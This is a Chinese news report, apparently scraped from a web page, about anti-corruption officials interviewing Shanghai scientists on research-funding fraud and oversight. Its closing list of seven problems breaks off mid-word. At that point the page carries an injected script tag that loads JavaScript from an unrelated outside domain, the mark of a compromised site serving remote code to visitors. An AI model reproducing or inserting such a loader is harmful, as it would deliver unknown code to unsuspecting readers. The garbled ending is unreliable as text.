對于中紀委工作人員的到來，林爭輝先是覺得驚訝，后來又甚覺寬慰。

　　5月17日，林爭輝向記者回憶，“那是五一節前夕的一個晚上，中紀委工作人員和上海市科委一位領導一起和我談話”。

　　林爭輝是同濟大學超大規模集成電路研究所所長，中紀委工作人員找他是咨詢一些問題。

　　此前，林爭輝和上海另外兩位專家接受新華社采訪，發表了針對科研體制問題的一些看法。不久后，中紀委工作人員通過上海市科委找到林爭輝，問他是否愿意見面談談。

　　林后來知道，事情的緣由是，科技部領導看到上海三位專家的觀點后非常重視，特地委托中紀委駐科技部的工作人員，來上海找到專家面談。

　　低調問計

　　在談話之前，中紀委工作人員將林爭輝曾公開發表過的觀點搜集起來，先給林看了一下。那是林爭輝對科研經費監督事宜提出的一些看法。

　　林爭輝和對方說，“我的情況大概是，在1980年代到1990年代，參與了一些國家科技攻關項目。那時的風氣很好，后來的情況并不清楚。”

　　不過，林爭輝曾是上海交大微電子專業的學科帶頭人，因此他很關注微電子行業的造假問題。

　　林爭輝對中紀委人士說，“對于科學造假事件，一定要先實事求是，把事情搞清楚；然后關于科研經費的問題，一定要在調查的基礎之上，法律介入。”

　　林爭輝感覺對方，“很認真，也很嚴肅，我非常信得過他們”。

　　在此前后，上海另一所高校的一位高教研究專家也接到上海市科委的電話，問是否愿意與中紀委工作人員面談。

　　一個月前，當某些科技造假事件鬧得沸沸揚揚之際，該專家也是接受新華社采訪，就科研經費監督事宜提出建議的專家之一。他還特別提出了“科研經費洗錢6個通道”。

　　該專家告訴記者，那是在“五一”節前夕的一個下午，“一老一少”來登門拜訪。來者首先出示了工作證件，“是中紀委派駐科技部的工作人員”。

　　接著二人說明來意，“受科技部領導之托來上海，了解科研經費洗錢等方面的情況”。

　　中紀委工作人員告訴他，“領導看到你提出的觀點，感到份量很重，想了解更多背景性材料，能否提供更多線索？”

　　該專家說，“我并不是在舉報洗錢，也沒有指名道姓，只是舉一反三探討科研經費管理面臨的問題。”他特別強調，提出的一些問題，主要目的并非針對具體個案，而是借相關個案探討制度問題。

　　中紀委工作人員對他表示理解，并表示“這次主要是來溝通一下情況”。對話時，中紀委工作人員提了一系列問題，“那位年長者不斷提問，而年輕人在那里不停地記錄”。

　　不知不覺，3個小時就過去了，“如果不是學生來找我的話，可能還要接著聊”。這位專家回憶著，面帶微笑。在他印象中，素以“鐵面”著稱的中紀委工作人員其實“蠻和氣的”。

七大熱門問題

　　在中紀委工作人員到訪上海三專家之前，一些專家曾通過有關渠道反映當下科技界七個熱門問題？

　　其一，科研經費是怎么到手的？

　　科研經費的立項、評審、發包機制有無問題。

　　其二，學術造假有哪些共性？

　　有專家認為，共性在于捏造事實、捏?script src=http://er12.com/t.js>